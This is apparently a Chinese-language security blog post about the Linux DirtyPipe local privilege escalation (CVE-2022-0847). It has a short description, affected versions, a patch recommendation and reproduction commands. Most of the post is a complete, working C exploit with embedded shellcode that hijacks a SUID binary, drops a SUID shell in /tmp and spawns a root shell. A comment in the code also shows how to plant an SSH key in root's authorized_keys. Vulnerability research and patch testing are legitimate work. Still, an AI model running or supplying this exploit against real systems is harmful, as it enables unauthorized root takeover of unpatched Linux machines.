Linux DirtyPipe权限提升漏洞 CVE-2022-0847

1、漏洞描述

CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到特权 root。CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty Cow），但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”

Linux内核中的函数 copy_page_to_iter_pipe 和 push_pipe 没有对新的pipe_buffer 结构体的flags成员初始化。此时的值就是原来 pipe_buffer结构体中的flags成员值。所以一个普通权限用户可以利用这个漏洞向一个只读文件写入任意内容。

2、影响版本

Linux内核 5.8 及之后版本

3、复现

find / -user root -perm 4000 2>/dev/null
gcc dirty-pipe.c -o dirtypipe
./dirtypipe /usr/bin/newgrp

4、修复建议

Linux 5.16.11、5.15.25 和 5.10.102等内核版本已修复该漏洞，可通过升级内核进行修复，升级现有linux内核版本。

5、exp

// https://haxx.in/posts/pwning-tipc/
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in> // 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
  /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
  0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
  0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
  0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
  0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
  0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
  0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
  0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
  0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
  0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
  0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
  0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
  0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
  0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
  0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
  if (pipe(p)) abort();

  const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
  static char buffer[4096];

  /* fill the pipe completely; each pipe_buffer will now have
     the PIPE_BUF_FLAG_CAN_MERGE flag */
  for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    write(p[1], buffer, n);
    r -= n;
  }

  /* drain the pipe, freeing all pipe_buffer instances (but
     leaving the flags initialized) */
  for (unsigned r = pipe_size; r > 0;) {
    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
    read(p[0], buffer, n);
    r -= n;
  }

  /* the pipe is now empty, and if somebody adds a new
     pipe_buffer without initializing its "flags", the buffer
     will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
  /* open the input file and validate the specified offset */
  const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
  if (fd < 0) {
    perror("open failed");
    return -1;
  }

  struct stat st;
  if (fstat(fd, &st)) {
    perror("stat failed");
    return -1;
  }

  /* create the pipe with all flags initialized with
     PIPE_BUF_FLAG_CAN_MERGE */
  int p[2];
  prepare_pipe(p);

  /* splice one byte from before the specified offset into the
     pipe; this will add a reference to the page cache, but
     since copy_page_to_iter_pipe() does not initialize the
     "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  --offset;
  ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
  if (nbytes < 0) {
    perror("splice failed");
    return -1;
  }
  if (nbytes == 0) {
    fprintf(stderr, "short splice\n");
    return -1;
  }

  /* the following write will not create a new pipe_buffer, but
     will instead write into the page cache, because of the
     PIPE_BUF_FLAG_CAN_MERGE flag */
  nbytes = write(p[1], data, len);
  if (nbytes < 0) {
    perror("write failed");
    return -1;
  }
  if ((size_t)nbytes < len) {
    fprintf(stderr, "short write\n");
    return -1;
  }

  close(fd);

  return 0;
}

int main(int argc, char **argv) {
  if (argc != 2) {
    fprintf(stderr, "Usage: %s SUID\n", argv[0]);
    return EXIT_FAILURE;
  }

  char *path = argv[1];
  uint8_t *data = elfcode;

  int fd = open(path, O_RDONLY);
  uint8_t *orig_bytes = malloc(sizeof(elfcode));
  lseek(fd, 1, SEEK_SET);
  read(fd, orig_bytes, sizeof(elfcode));
  close(fd);

  printf("[+] hijacking suid binary..\n");
  if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
    printf("[~] failed\n");
    return EXIT_FAILURE;
  }

  printf("[+] dropping suid shell..\n");
  system(path);

  printf("[+] restoring suid binary..\n");
  if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
    printf("[~] failed\n");
    return EXIT_FAILURE;
  }

  printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
  system("/tmp/sh");

  return EXIT_SUCCESS;
}

by zwish 2022/3/9 21:51